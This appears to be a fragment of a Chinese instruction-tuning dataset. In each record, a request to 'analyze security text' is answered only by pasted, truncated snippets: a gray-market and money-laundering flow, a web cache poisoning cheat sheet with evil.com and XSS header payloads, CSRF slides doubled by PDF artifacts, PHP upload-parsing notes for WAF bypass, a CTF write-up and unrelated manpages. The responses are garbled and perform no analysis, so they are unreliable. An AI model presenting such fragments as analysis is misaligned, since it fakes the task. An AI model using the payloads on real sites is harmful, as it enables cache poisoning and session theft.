route add ipx4 sl0 向SLIP接口添加一条指向\"ipx4\"的路由(假定\"ipx4\"是使用SLIP的主机) .TP", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 黑灰产形式 此章节整理了黑灰产的不同形式 ## 1. 按内容划分 ### 1.1 赌博类 #### 博彩菠菜 TODO #### 开箱网站基于Steam市场 > 开箱网站吸引人的策略和博彩网站无异一开始时会先让你尝到甜头开出价值较高的游戏皮肤刺激你继续消费后门逐步降低爆出率玩家最终走出了自古以来的赌博路线开箱-获利-继续开-损失-想要挽回损失-损失更大 > > https://ti.qianxin.com/blog/articles/southeast-asian-gaming-industry-research-report/ ### 1.2 外挂 #### 场控外挂 从直播行业中衍生出的一种外挂形式场控的角色在直播行业人员架构中主要负责协调和实施具体来说可以做自动欢迎礼物答谢自动喊话关注感谢[1]等 ### 1.3 黑客攻击类 #### 网站劫持黑帽SEO 我们先来看一下概念 > 1入侵相关网站 > > 2然后在网站中插入JS或修改其配置文件增加相应的劫持代码另外一般会加入判断条件判断条件一般会根据user-agent或referer进行判断大多数判断条件会判断是爬虫还是人工如果是人工会返回正常的网站如果是爬虫会返回相关博彩娱乐类等黑客设置好的网站 > > 3爬虫去访问时返回是相关博彩娱乐类网站导致收录的是黑客精心准备好的网站 > > 4黑帽SEO基本上都是给爬虫收录的对于正常的人工访问会返回正常的内容所以导致这种网站很难发现并且其存留时间相对较长 > > 真实网站劫持案例分析[feiniao ](https://www.freebuf.com/author/feiniao)https://www.freebuf.com/articles/web/153788.html ### 1.4 洗钱类 #### 跑分平台 此处的跑分不是指数码产品评测跑分而是指利用正常用户包括个人企业的微信支付宝等的收款码帮助他人收款从中赚取佣金[2]跑分平台本质上就是一个洗钱团伙帮助需要洗钱的客户例如诈骗团伙将非法所得的钱通过正常用户收款账户进行代收然后跑分平台又利用正常用户先前支付的押金分发给所服务的客户这样就把钱给洗白了收款被查的风险就从需要洗钱的客户转移到了其他的正常用户以及跑分平台 我们回顾一下洗钱的三个阶段[3] - 处置实际处理犯罪所得的现金或其他资产 - 离析经过层层金融交易来隐匿资金来源将非法所得与其真实来源分离开来 - 融合以看似正常业务或个人交易的形式将资金重新投入到经济活动中使得非法财产看似具有合法性 对应来说跑分平台的功能在做洗钱三个阶段中的处置和离析收钱分离真实来源 跑分平台这部分角色称为码商其发展模式普遍来说也是自己单干跑分后来发展下线引流一方面赚取赚取收款佣金一方面通过发展下线赚取代理费 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20201009110144.png) 图跑分平台黑产运作流程图[2] > 1已经从事跑分的用户需要拉下级发展下线 > > 2租借正常用户账户发布兼职信息 > > 3需要兼职的用户找到发布兼职的的平台找到相关兼职 > > 4发布兼职的用户让兼职人员添加自己的某某社交账户并发送跑分平台信息 > > 5兼职用户下载跑分平台APP并注册登录完善信息包括了绑定***上传收款码交押金等 > > 6黑灰产团队在跑分平台放单 > > 7兼职用户在跑分平台接单 > > 8黑灰产团队将从跑分平台获取的对应用户的收款码***号发给被诈骗的用户 > > 9被诈骗的用户将钱转给兼职用户 > > 10\"跑分平台\"将兼职用户的押金转给黑灰产团队账户 > > 一个完整的跑分流程完成[3] 这个流程简单来说就是 - 普通用户加入跑分平台支付押金提供收款码 - 跑分平台放单 - 黑钱转入普通用户账户普通用户赚取佣金 - 跑分平台把押金转移给需要洗钱的客户赚取佣金 - 需要洗钱的客户收到平台的钱这部分钱来自普通用户的押金 #### 四方支付 四方支付也叫聚合支付正如其名其主要就是做支付能力整合方便C端用户支付帮助商家收款赚取服务费或佣金**我们不能说所有的四方支付都是黑产**但其中也确实有相当大的一部分灰色地带正规的四方支付也可能夹杂着做黑灰产服务主动或者被动黑产四方支付也可能用正常服务做伪装 TODO ## 2. 按服务模式划分 ### BaaS BaaSBad Bots as a Service恶意软件即服务随着从事黑灰产人员素质的提高黑产团伙逐渐向专业化规模化与产业化转型[1]因此也相应地诞生催动了恶意软件即服务这种服务模式类比于SaaSSoftware as a Service软件即服务BAAS的含义就是客户只需要购买这个恶", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Web Cache Poisoning ## Introduction The objective of web cache poisoning is to send a request that causes a harmful response that gets saved in the cache and served to other users. ## Where to find `-` ## How to exploit 1. Basic poisoning ``` GET / HTTP/1.1 Host: www.vuln.com X-Forwarded-Host: evil.com ``` The response is ``` HTTP/1.1 200 OK Cache-Control: public, no-cache ``` > Or you can input XSS payloads ``` GET / HTTP/1.1 Host: www.vuln.com X-Forwarded-Host: a.\\\"> ``` The response is ``` HTTP/1.1 200 OK Cache-Control: public, no-cache a.png\" /> ``` 2. Seizing the Cache ``` GET / HTTP/1.1 Host: unity3d.com X-Host: evil.com ``` The response is ``` HTTP/1.1 200 OK Via: 1.1 varnish-v4 Age: 174 Cache-Control: public, max-age=1800 ``` 3. Selective poisoning ``` GET / HTTP/1.1 Host: redacted.com User-Agent: Mozilla/5.0 ( Firefox/60.0) X-Forwarded-Host: a\"> PDF created with pdfFactory Pro trial version www.pdffactory.com 常見利用 常見利用 u 竊取cookie等機敏資訊 u 掛馬 u 網路釣魚 PDF created with pdfFactory Pro trial version www.pdffactory.com 常見散播管道 常見散播管道 u 廣告信 u 論壇發文 u 縮網址 u 關鍵字與網頁看板廣告 u etc PDF created with pdfFactory Pro trial version www.pdffactory.com Cross Cross--Site Request Forgery Site Request Forgery u 簡稱CSRF或XSRF u 廣義XSS的一種 u 針對登入後的網站執行操作 PDF created with pdfFactory Pro trial version www.pdffactory.com Alice Alice轉帳 轉帳100 100元給 元給Bob Bob時 時 u u POST http://bank.com/transfer.do HTTP/1.1 POST http://bank.com/transfer.do HTTP/1.1 u u . . . . . . u u . . . . . . u u . . . . . . u u Content Content--Length: 19; Length: 19; u u user=BOB&money=100 user=BOB&money=100 PDF created with pdfFactory Pro trial version www.pdffactory.com 惡意使用者 惡意使用者Maria Maria u 而另一位惡意的使用者Maria留意到在轉帳的過程中網頁 ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nhostnamectl === 查询或更改系统主机名 ## 补充说明 hostnamectl可用于查询和更改系统主机名和相关设置 ### 语法 ```bash hostnamectl [选项...] 指令 ... ``` ### 指令 ```bash status 显示当前主机名设置 set-hostname NAME 设置系统主机名 set-icon-name NAME 设置主机的图标名称 set-chassis NAME 设置主机的机箱类型 set-deployment NAME 设置主机的部署环境 set-location NAME 设置主机位置 ``` ### 选项 ```bash -h --help 显示此帮助 --version 显示包的版本 --no-ask-password 不提示输入密码 -H --host=[USER@]HOST 在远程主机上操作 -M --machine=CONTAINER 在本地容器上执行操作指定要连接到的容器名称 --transient, --static, --pretty 如果调用了status或者没有给出显式命令并且指定了其中一个开关hostnamectl将只打印出这个选定的主机名 ``` ### 实例 显示主机名设置 ```bash $ hostnamectl status ``` 改变主机名(永久修改,不用重启哦~) ```bash $ sudo hostnamectl set-hostname newname ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nLegal Aspects of Full Spectrum Computer Network (Active) Defense def con 2013 Agenda Disclaimer Errata Self Defense in Physical World Applying Self Defense to Computer Network Defense Technology Pen Testing/Red Teaming Intelligence/Open Source IA and Training/Polices Information Control Active Defense Deception Operating on The Net Agenda I have an active defense scenario. Disclaimer Disclaimer - aka the fine print Joint Ethics Regulation Views are those of the speaker Im here in personal capacity Dont represent view of government Disclaimer required at beginning of presentation. All material - unclassified U.S. Law And Computer Network Operations 1 Office of Cybersecurity & Communications Future Strategy November 9, 2009 Oh yeah, 1986 CFAA Definition of Special Skills Special skill a skill not possessed by members of the general public and usually requiring substantial education, training or licensing. Examples pilots, lawyers, doctors, accountants, chemists and demolition experts. Not necessary to have formal education or training Skills can be acquired through experience or self-tutelage. Critical question is whether the skill set elevates to a level of knowledge and proficiency that eclipses that possessed by the general public. United States v. Prochner, 417 F3d. 54 (D. Mass. July 22, 2005) In re Innovatio IP Ventures, LLC Patent Litigation, - - - - F.Supp.2d - - - , 2013 WL 427167 (N.D. Ill. Feb. 4, 2013) Patent Owners of wireless Internet technology Sue commercial users of wireless Internet technology Alleging by making wireless Internet available to customers or using it to manage internal processes, users infringed various claims of 17 patents. Plaintiff Innovatio has sued numerous hotels, coffee shops, restaurants, supermarkets, and other commercial users of wireless internet technology located throughout the United States (collectively, the Wireless Network Users). In re Innovatio IP Ventures, LLC Patent Litigation & ECPA In re Innovatio IP Ventures, LL", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## Command line swithes IDA can be launched with one of the following command lines: - idaq input-file (All platforms: start graphical interface) - idaw input-file (Windows: start text interface) - idal input-file (Linux/Mac: start text interface) Add the '64' postfix to the command name in order to start the 64-bit version of IDA. For example: ```idaq64 input-file``` will start 64-bit graphical interface. The following command line switches are recognized: ``` -a disable auto analysis -A autonomous mode. IDA will not display dialog boxes. Designed to be used together with -S switch. -b#### loading address, a hexadecimal number, in paragraphs (a paragraph is 16 bytes) -B batch mode. IDA will generate .IDB and .ASM files automatically -c disassemble a new file (delete the old database) -ddirective A configuration directive which must be processed at the first pass. Example: -dVPAGESIZE=8192 -Ddirective A configuration directive which must be processed at the second pass. -f disable FPP instructions (IBM PC only) -h help screen -i#### program entry point (hex) -I# set IDA as just-in-time debugger (0 to disable and 1 to enable) -L#### name of the log file -M disable mouse (text only) -O#### options to pass to plugins -o#### specify the output database (implies -c) -p#### processor type -P+ compress database (create zipped idb) -P pack database (create unzipped idb) -P- do not pack database (not recommaned, see Abort command) -r### immediately run the built-in debugger format of this switch is explained here -R load MS Windows exe file resources -S### Execute a script file when the database is opened. The script file extension is used to determine which extlang will run the script. It is possible to pass command line arguments after the script name. For example: -S\"myscript.idc argument1 \\\"argument 2\\\" argument3\" The passed parameters are stored in the \"ARGV\" global IDC variable. Use \"ARGV.count\" to determine the number of arguments. The first argument \"ARGV[0]\" contain", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n#include #include #include #include #include #include #define N 8 #define LEN 4 //#define X 0 //#define Y 20 int X, Y; enum type { ADD, ROL, XOR, }; struct operation { type t; unsigned char arg; }; struct four { operation ops[LEN]; }; std::vector generate_sequences(int n) { if (n == 0) { return {{}}; } auto prev = generate_sequences(n - 1); int cnt = 0; for (auto& seq: prev) { //type tx[] = {ADD, ROL, XOR, ADD}; //type t = tx[n-1]; for (auto t: {ADD, ROL, XOR}) { if (n > 1 && seq.ops[n-2].t == t) continue; if (n == 1 && t != ADD) continue; if (n == 2 && t != ROL) continue; if (n == 3 && t != XOR) continue; if (n == 4 && t != ADD) continue; for (int arg = 0; arg < (1< ret; ret.reserve(cnt); for (auto& seq: prev) { //type tx[] = {ADD, ROL, XOR, ADD}; //type t = tx[n-1]; for (auto t: {ADD, ROL, XOR}) { if (n > 1 && seq.ops[n-2].t == t) continue; if (n == 1 && t != ADD) continue; if (n == 2 && t != ROL) continue; if (n == 3 && t != XOR) continue; if (n == 4 && t != ADD) continue; for (int arg = 0; arg < (1<> (N - op.arg)); } if (op.t == XOR) { n = op.arg; } n &= (1< What does asm3(0xfe8cf7a4,0xf55018af,0xb8c70926) return? ```assembly asm3: <+0>: push ebp <+1>: mov ebp,esp <+3>: xor eax,eax <+5>: mov ah,BYTE PTR [ebp+0x9] <+8>: shl ax,0x10 <+12>: sub al,BYTE PTR [ebp+0xd] <+15>: add ah,BYTE PTR [ebp+0xe] <+18>: xor ax,WORD PTR [ebp+0x12] <+22>: nop <+23>: pop ebp <+24>: ret ``` ## Solution: Since this is a bit more complicated to analyze by hand, we can run it and inspect the result. ### Option #1: Using an Emulator We can use [this](https://carlosrafaelgn.com.br/asm86/) online emulator to run the code, we just need to clean it up a bit and setup the stack: ```assembly start: push 0xb8c70926 push 0xf55018af push 0xfe8cf7a4 call asm3 asm3: push ebp mov ebp,esp xor eax,eax mov ah,BYTE PTR [ebp+0x9] shl ax,0x10 sub al,BYTE PTR [ebp+0xd] add ah,BYTE PTR [ebp+0xe] xor ax,WORD PTR [ebp+0x12] nop pop ebp ret ``` Using a breakpoint on the `ret` instruction, we see that the value is `0xe82f`. ### Option #2: Compiling the Code Contents of `test.S`: ```assembly .intel_syntax noprefix .global asm3 asm3: push ebp mov ebp,esp xor eax,eax mov ah,BYTE PTR [ebp+0x9] shl ax,0x10 sub al,BYTE PTR [ebp+0xd] add ah,BYTE PTR [ebp+0xe] xor ax,WORD PTR [ebp+0x12] nop pop ebp ret ``` Contents of `main.c`: ```assembly #include int asm3(int, int, int); int main(int argc, char* argv[]) { printf(\"0x%x\\n\", asm3(0xfe8cf7a4,0xf55018af,0xb8c70926)); return 0; } ``` Compiling and running: ```console root@kali:/media/sf_CTFs/pico/asm3/out# gcc -masm=intel -m32 -c test.S -o test.o root@kali:/media/sf_CTFs/pico/asm3/out# gcc -m32 -c main.c -o main.o root@kali:/media/sf_CTFs/pico/asm3/out# gcc -m32 test.o main.o -o main root@kali:/media/sf_CTFs/pico/asm3/out# ./main 0xe82f ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nRWCTF Nu1L forensics ccls-fringe { \"last_write_time\":1532281822000000000, \"language\":2, \"lid2path\":[ ], \"import_file\":\"/home/flag/fringe.cc\", \"args\":[ \"%clang\", \"/home/flag/fringe.cc\" ], \"dependencies\":[ \"/usr/include/c++/8.1.1/ext/atomicity.h\", \"/usr/include/asm-generic/errno.h\", \"/usr/include/bits/types/__FILE.h\", \"/usr/include/c++/8.1.1/system_error\", \"/usr/include/errno.h\", \"/usr/include/sys/ucontext.h\", \"/usr/include/c++/8.1.1/bits/stl_pair.h\", \"/usr/include/sys/select.h\", \"/usr/include/c++/8.1.1/cwchar\", \"/usr/include/c++/8.1.1/type_traits\", \"/usr/include/bits/locale.h\", \"/usr/include/bits/libio.h\", \"/usr/include/c++/8.1.1/debug/assertions.h\", \"/usr/include/bits/setjmp.h\", \"/usr/include/c++/8.1.1/bits/stl_bvector.h\", \"/usr/include/c++/8.1.1/bits/hash_bytes.h\", \"/usr/include/bits/types/timer_t.h\", \"/usr/include/c++/8.1.1/bits/exception_defines.h\", \"/usr/include/bits/_G_config.h\", \"/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/os_defines.h\", \"/usr/include/bits/thread-shared-types.h\", \"/usr/include/c++/8.1.1/backward/binders.h\", \"/usr/include/c++/8.1.1/iosfwd\", \"/usr/include/bits/types/struct_timespec.h\", \"/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/ctype_inline.h\", \"/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/gthr-default.h\", \"/usr/include/pthread.h\", \"/usr/include/c++/8.1.1/bits/cpp_type_traits.h\", \"/usr/include/c++/8.1.1/bits/streambuf.tcc\", \"/usr/include/bits/libc-header-start.h\", \"/usr/include/c++/8.1.1/string\", \"/usr/include/c++/8.1.1/bits/cxxabi_init_exception.h\", \"/usr/include/bits/typesizes.h\", \"/usr/include/c++/8.1.1/ostream\", \"/usr/include/c++/8.1.1/bits/vector.tcc\", \"/usr/include/sys/cdefs.h\", \"/usr/include/c++/8.1.1/bits/istream.tcc\", \"/usr/include/c++/8.1.1/initializer_list\", \"/usr/include/c++/8.1.1/ext/new_allocator.h\", \"/usr/include/bits/wordsize.h\", \"/usr/include/c++/8.1.1/bits/stl_uninitialized.h\", \"/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/c++allocator.h\", \"/usr/include/bits/types/struct_timeval.h\", \"/usr/include/bits/cpu-set.h\"", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 php件上传处理流程简单分析-php在流量层 绕waf的姿势 boundary值处理 body处理 filename的特殊处理 作者:帽酱 php件上传处理在 main/rfc1867.c 中的 rfc1867_post_handler函数 测试环境 PHP 7.1.9 boundary值处理 2 SAPI_API SAPI_POST_HANDLER_FUNC(rfc1867_post_handler) C 复制代码 if (SG(post_max_size) > 0 && SG(request_info).content_length > SG(post_max_size)) { sapi_module.sapi_error(E_WARNING, \"POST Content-Length of \" ZEND_LONG_FMT \" bytes exceeds the limit of \" ZEND_LONG_FMT \" bytes\", SG(request_info).content_length, SG(post_max_size)); return; } /* Get the boundary */ boundary = strstr(content_type_dup, \"boundary\");//查找是否包含boundary if (!boundary) { int content_type_len = (int)strlen(content_type_dup); char *content_type_lcase = estrndup(content_type_dup, content_type_len); php_strtolower(content_type_lcase, content_type_len); boundary = strstr(content_type_lcase, \"boundary\"); if (boundary) { boundary = content_type_dup + (boundary - content_type_lcase); } efree(content_type_lcase); } if (!boundary || !(boundary = strchr(boundary, '='))) {//判断boundary值起始 位置 sapi_module.sapi_error(E_WARNING, \"Missing boundary in multipart/form-data POST data\"); return;//传畸形的boundary会抛出警告 (可以来检测标php是否开启错误回显) } boundary++; boundary_len = (int)strlen(boundary); if (boundary[0] == '\"') {//引号包裹 boundary++; boundary_end = strchr(boundary, '\"'); if (!boundary_end) { sapi_module.sapi_error(E_WARNING, \"Invalid boundary in multipart/form-data POST data\"); return; } } else {//引号包裹 /* search for the end of the boundary */ boundary_end = strpbrk(boundary, \",;\");//截字符 } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 3 先php先从Content-Type是否包含boundary字符串 之后寻找等号的位置作为起始位置获取boundary值 boundary的值有引号包裹和引号包裹两种情况 在引号包裹时可以使逗号或分号作为终字符 到这就可以总结出有效boundary格式了 {任意字符}boundary{除等号外任意字符}=[\"]{boundary内容}[\"][[,;]{任意字符}] if (boundary_end) { boundary_end[0] = '\\0'; boundary_len = boundary_end-boundary; } /* Initialize the buffer */ if (!(mbuff = multipart_buffer_new(boundary, boundary_len))) { sapi_module.sapi_error(E_WARNING,", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n开源生态白皮书 2020 年 中国信息通信研究院 2020年10月 版权声明 本白皮书版权属于中国信息通信研究院并受法律保护 转载摘编或利用其它方式使用本白皮书文字或者观点的 应注明来源中国信息通信研究院违反上述声明者本 院将追究其相关法律责任 前 言 近几年开源技术快速发展在云计算大数据人工智能等领域 逐渐形成技术主流开源技术已经成为企业构建信息系统的重要选择 国内企业参与开源生态的热情度持续提升 本白皮书是中国信息通信研究院在开源领域发布的白皮书分析 国内外开源生态发展现状梳理当前发展热点展望未来发展趋势 白皮书首先介绍了开源生态发展概况重点围绕开源布局开源运营 开源治理开源风险行业开源等开源领域热点话题进行探讨最后 对开源生态未来发展进行了展望 目 录 一 开源生态概述 .................................................. 1 一开源概念逐渐明晰 .......................................... 1 二开源生态以开源项目为中心构建 .............................. 2 二 开源生态发展现状 .............................................. 3 一开源数量持续攀升我国开源覆盖全栈技术领域 ................ 3 二开源占据各领域主要市场份额我国开源应用逐年攀升 .......... 6 三开源企业数量保持稳定增长我国企业呈现主动开源趋势 ....... 12 四开源基金会成为开源运营重要角色 ........................... 15 五各行业开源生态已经形成我国行业积极拥抱开源 ............. 16 六开源风险问题凸显成为开源应用屏障 ....................... 19 七全球开源治理理念兴起我国初步形成开源治理模式 ........... 21 八开源配套政策正在完善我国政策引导开源社区构建 ........... 22 三开源成为企业商业布局的重要手段 ................................. 24 一全球开源商业模式多样化发展 ............................... 24 二全球开源企业已启动收购模式进一步扩大用户群体 ........... 25 三我国开源企业已初步构建形成有影响力的开源项目 ............. 27 四全球开源基金会运营模式成熟我国率先探索联盟运营机制 ........... 30 一良好的开源社区是形成开源代码的前提条件 ................... 30 二开源基金会运营通过知识产权托管培育开源社区 ............... 31 三我国逐步形成稳定的开源运营机制 ........................... 34 五传统行业逐步拥抱开源生态我国行业用户关注开源使用 ............. 35 一工业互联网布局开源看重产业数字化新机遇 ................... 35 二电信行业由用户侧及运营商推动开源探索产品创新 ........... 36 三政府采购行业发展开源看重公开透明 ......................... 38 四金融机构开源看重产业创新力和市场布局 ..................... 39 六开源风险问题复杂开源治理体系正在构建 ......................... 41 一知识产权合规及安全漏洞风险相对普遍 ....................... 41 二开源法律和知识产权环境推动开源良性发展 ................... 44 三开源治理工具加速企业开源治理体系构建 ..................... 45 四开源治理模式逐步落地 ..................................... 46 七开源生态未来发展趋势与建议 ..................................... 47 一开源生态未来发展趋势 ..................................... 47 二我国开源生态发展建议 ..................................... 49 附录一开源软件风险扫描 ............................................ 1 一许可证及合规风险 .......................................... 1 二安全漏洞风险 ..............", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nIts all about the timing. . . Haroon Meer and Marco Slaviero {haroon,marco}@sensepost.com SensePost Abstract This paper is broken up into several distinct parts, all related loosely to timing and its role in information se- curity today. While timing has long been recognized as an important component in the crypt-analysts arse- nal, it has not featured very prominently in the domain of Application Security Testing. This paper aims at highlighting some of the areas in which timing can be used with great effect, where traditional avenues fail. In this paper, a brief overview of previous timing attacks is provided, the use of timing as a covert channel is examined and the effectiveness of careful timing during traditional web application and SQL injection attacks is demonstrated. The use of Cross Site Timing in bypass- ing the Same Origin policy is explored as we believe the technique has interesting possibilities for turning innocent browsers into bot-nets aimed at, for instance, brute-force attacks against third party web-sites. 1 Introduction The movement of applications onto the Web has not removed old threats, it has perhaps just coated them a little with the veneer of AJAX and pastel colours. Underneath, the old issues are still present. In this paper, we examine one really ancient class of vulner- abilities, timing attacks, and carry to its logical con- clusion the combination of malicious websites, innocent victims, JavaScript and a healthy dose of timing mea- surements. Occasionally the websites are not malicious and the victims not entirely innocent, but the timing measurements remain throughout. We start with a background on timing attacks in Section 2, and discuss timing as a covert channel in Section 3. Section 4 is lengthy and shows how the mi- gration from regular DNS tunnels to timing channels reduce the bandwidth of output retrieval in SQL injec- tion, but also reduce the requirements placed on the targeted database. In Section 5 we discuss using timing ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH \"DROP OPERATOR CLASS\" \"7\" \"2003-11-02\" \"SQL - Language Statements\" \"SQL Commands\" .SH NAME DROP OPERATOR CLASS \\- 删除一个操作符类 .SH SYNOPSIS .sp .nf DROP OPERATOR CLASS \\fIname\\fR USING \\fIindex_method\\fR [ CASCADE | RESTRICT ] .sp .fi .SH \"DESCRIPTION 描述\" .PP \\fBDROP OPERATOR CLASS\\fR 从数据库中删除一个现有操作符表要执行这条命令你必须是此操作符表的所有者 .SH \"PARAMETERS 参数\" .TP \\fB\\fIname\\fB\\fR 一个现存操作符表的名字可以用模式修饰 .TP \\fB\\fIindex_method\\fB\\fR 操作符表所对付的索引访问方法的名字 .TP \\fBCASCADE\\fR 自动删除依赖于该操作符表的对象 .TP \\fBRESTRICT\\fR 如果有任何依赖对象存在则拒绝删除此操作符表这个行为是缺省 .SH \"EXAMPLES 例子\" .PP 删除 B-tree 操作符表 widget_ops .sp .nf DROP OPERATOR CLASS widget_ops USING btree; .sp .fi 如果有任何现存的索引使用这个操作符表那么这条命令将不能 执行增加一个 CASCADE 删除这样的索引以及这个 操作符表 .SH \"COMPATIBILITY 兼容性\" .PP 在 SQL 标准里没有 DROP OPERATOR CLASS .SH \"SEE ALSO 参见\" ALTER OPERATOR CLASS [\\fBalter_operator_class\\fR(7)], CREATE OPERATOR CLASS [\\fBcreate_operator_class\\fR(l)] .SH \"译者\" .B Postgresql 中文网站 .B 何伟平 ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n深入理解 Windows 字体解析引擎漏洞 wang yu SyScan(+)360, 2012 议题简介 第一部分 议题简介 关于作者 ( wangyu@360.cn ) 议题背景 2011 年 12 月微软月度安全更新修复了此 前曾被Duqu 恶意软件利用的 Win32K 内核漏洞 同月在中国更受关注的一个话题是网站后 台数据库的安全性问题 本议题将聚焦于 Win32K 字体解析引擎的设 计与实现以白盒的视角审视 Duqu 0-day 的利用细 节 议题简介 议题涵盖 - 字体解析引擎客户端接口 ( Font Scaler Client Interface ) 的背景设计与实现 - 演示如何在系统用户态实现字体引擎 ( Font Scaler ) 的客户端 引擎的反内核化示例 - 作为系统内核态字体引擎的客户端Win32K 模块是 如何与之交互的 Win32K 的调用假设 - Duqu 与 MS11-087 远程可执行漏洞 - 字体引擎的更多审计 责任声明 从点阵字体到轮廓字体 第二部分 启动扇区里的小游戏 演示640*480*16 色图形模式写方式二 写点 从点阵字体到轮廓字体 An Improved Representation for Stroke-based Fonts 点阵位图 优点与缺点 从点阵字体到轮廓字体 轮廓字体 优点与缺点 从点阵字体到轮廓字体 我们站在巨人的肩膀之上 数字字体的混沌时期 从复印机到 PostScript 页面描述语言从 Xerox 到 Adobe 苹果公司的加入 LaserWriter1985 年 从操作系统的角度考虑苹果公司从上世纪八十年代末开始 研发自己的可缩放字体技术 Royal这即 TrueType 的 前身 两种流派两种理念 - PostScript Type 1 : cubics; \"smarter\" fonts, \"dumber\" interpreter - TrueType : quadratics; \"dumber\" 字体解析引擎客户端接口 第三部分 引擎起源 PostScript Type 1 vs. Royal ( TrueType ) PostScript 早于后者六年 Royal ( TrueType ) vs. TrueImage \"Apple traded the technology to Microsoft in exchange for the latter 's PostScript clone technology 'TrueImage' ... which was buggy at the time, and never used by Apple\"... Thomas W. Phinney 内核化后TrueType 字体引擎 ( Font Scaler ) 实现于 Win32K 模块的内部而 Win32K 模块 也可被视为字体引擎的调用者或引擎客户端 引擎的导出接口即 Font Scaler Client Interface 目标研究手段 Duqu 0-day 让我充满好奇 \"Initially, it even caused confusion among researchers who believed Duqu was exploiting a vulnerability in the MS Word format itself\"... Ivan Teblin 静态逆向 动态跟踪 当然理论上我还可以... 白盒分析 还具备参考价值吗 白盒评估 从宏观角度引擎架构从微观角度代码笔误 sfac_LoadCriticalSfntMetrics 6.2.9200.16384 sfntaccs.c line:953 sfac_DoOffsetTableMap sfntaccs.c line:252 还可以工作吗 I'm Feeling Lucky! 工欲善其事 必先利其器 字体格式分析工具 TTFDump (FontTools) http://www.microsoft.com/typography/tools/tools.aspx 工欲善其事 必先利其器 呃... TTFDump 唯一的问题就是问题太多 工欲善其事 必先利其器 字体调试工具 TrueTypeViewer http://home.kabelfoon.nl/~slam/fonts/truetypeviewer.html 工欲善其事 必先利其器 囧... 好的 引擎的重要接口 Font Scaler Client Interface 表 Font Scaler Client Interface 引擎的重要接口 续表 Font Scaler Client Inter", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nOffice Drama ...on macOS WHOIS @patrickwardle analysis exploit chain OUTLINE history Evil Office Docs! defense Recent History macro based attacks, targeting macOS ...defined MACROS Macro: \"A macro is a series of commands & instructions that you group together as a single command to accomplish a task automatically\" -Microsoft Sub AutoOpen() MsgBox \"Hello World!\", 0, \"Title\" End Sub 01 02 03 + MSOffice document + code tl;dr: add code to documents macro code (VBScript) ...of course (ab)used by attackers MACROS + though mitigations... now on macOS? MACROS more macs... malicious & potentially unwanted files for macOS (Kasperksy) more mac malware... macro attack 2017 \"New Attack, Old Tricks\" objective-see.com/blog/blog_0x17.html \"U.S. Allies and Rivals Digest Trumps Victory - Carnegie Endowment for International Peace.docm\" discovery & (limited) detection macro attack 2018 \"Word to Your Mac\" objective-see.com/blog/blog_0x3A.html \"BitcoinMagazine- Quidax_InterviewQuestions_2018.docm\" download & exec 2nd-stage (python) payload sandbox escape! discovery & (limited) detection macro attack 2019 \"Cryptocurrency businesses still being targeted by Lazarus\" securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus \"샘플_기술사업계획서(벤처기업평가용.doc\" is mac? infected document (credit: kaspersky) download & exec 2nd-stage (mach-O) payload Analysis understanding macro based attacks EXTRACTING EMBEDDED MARCOS oletools, ftw $ sudo pip install -U oletools $ olevba -c $ olevba -c ~/Documents/HelloWorld.docm olevba 0.55.1 on Python 3.7.3 - http://decalage.info/python/oletools ===================================================================== FILE: /Users/patrick/Documents/HelloWorld.docm Type: OpenXML --------------------------------------------------------------------- VBA MACRO ThisDocument.cls in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Sub AutoOpen() MsgBox \"Hello World!\",", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# IoC容器 --- ## 什么是容器 容器是一种为某种特定组件的运行提供必要支持的一个软件环境例如Tomcat 就是一个 Servlet 容器它可以为 Servlet 的运行提供运行环境类似 Docker 这样的软件也是一个容器它提供了必要的 Linux 环境以便运行一个特定的 Linux 进程 通常来说使用容器运行组件除了提供一个组件运行环境之外容器还提供了许多底层服务例如Servlet 容器底层实现了 TCP 连接解析 HTTP 协议等非常复杂的服务如果没有容器来提供这些服务我们就无法编写像 Servlet 这样代码简单功能强大的组件早期的 JavaEE 服务器提供的 EJB 容器最重要的功能就是通过声明式事务服务使得 EJB 组件的开发人员不必自己编写冗长的事务处理代码所以极大地简化了事务处理 Spring 的核心就是提供了一个 IoC 容器它可以管理所有轻量级的 JavaBean 组件提供的底层服务包括组件的生命周期管理配置和组装服务AOP 支持以及建立在 AOP 基础上的声明式事务服务等", "category": "text_analysis", "source": "security_papers"} {"instruction": 